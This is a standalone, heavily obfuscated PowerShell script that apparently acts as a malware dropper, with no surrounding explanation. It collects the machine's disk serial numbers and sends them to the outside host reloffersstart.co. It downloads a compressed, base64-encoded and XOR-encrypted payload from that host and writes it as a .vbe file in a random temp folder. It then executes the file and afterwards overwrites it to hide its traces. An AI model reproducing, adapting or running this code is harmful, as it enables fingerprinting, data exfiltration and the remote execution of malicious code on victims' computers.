function W`D(${Q}){ ${B} = ${q}.ToCharArray(); Foreach (${E`l} in ${B}) { ${c} = ${C} + "" + [System.String]::Format("{0:X2}", [System.Convert]::ToUInt32(${e`l})) } ${c} }; ${dF}=."Get-WMIObject" -class "win32_PhysicalMedia"; ${E`ZA}=[Text.Encoding]::UTF8; ${a}=''; ${s`Er}=foreach(${df} in ${dF}){${A}=${A}+${d`F}.SerialNumber}; ${E}=.('wd')(${a}); .('SV') ('j') (&"New-Object" "Net.WebClient"); .('Sv') "qW3" "https://reloffersstart.co/ss.php?$e"; function G`H(${sG}){ ${Tg}=[Convert]::FromBase64String(${S`G}); return ${Tg} }; ${p`P}=(&"New-Object" "IO.StreamReader"(."New-Object" "IO.Compression.GzipStream"((."New-Object" "IO.MemoryStream"(,(([byte[]](."Variable" ('j')).Value.DownloadData((.('Gi') "Variable:/qW3").Value))))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd(); ${F5}=${Pp}.substring(0,5)+ (${pp} -replace '.*?(?=.{1,5}$)').trim(); ${P`P}=(${p`p} -replace ".{5}$") -replace "^.{5}"; foreach(${o`H} in ${P`P}){ ${ok}=@(); ${f`s}=${F5}.ToCharArray(); ${OH}=.('gh')(${OH}); for(${Z}=0; ${z} -lt ${O`h}.count; ${z}++){ ${ok}+=[char]([Byte]${O`h}[${z}] -bxor[Byte]${F`S}[${z}%${f`S}.count]) } }; ${M`k}=(&"Gci" -path (((${e`NV:T`EmP}.tostring()))) | ."Where-Object" { ${_}.PSIsContainer }|."select" "fullname" |."Get-Random" -count 1).FullName+(("bj2printhpp.vbe").REpLAce(([CHaR]98+[CHaR]106+[CHaR]50),[StrinG][CHaR]92)); [io.file]::WriteAllText(${m`K},(${E`za}.GetString((&('gh')(((&"New-Object" "IO.StreamReader"(&"New-Object" "IO.Compression.GzipStream"((&"New-Object" "IO.MemoryStream"(,(&('gh')(${Ok})))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd())))))); if((&"gci" ${m`K}).Length -lt 5){exit}; [System.Diagnostics.Process]::Start(${M`K})|."out-null"; &"sleep" 25; .('ls'); [io.file]::WriteAllLines(${M`K},[regex]::replace(${E},'\D','1'));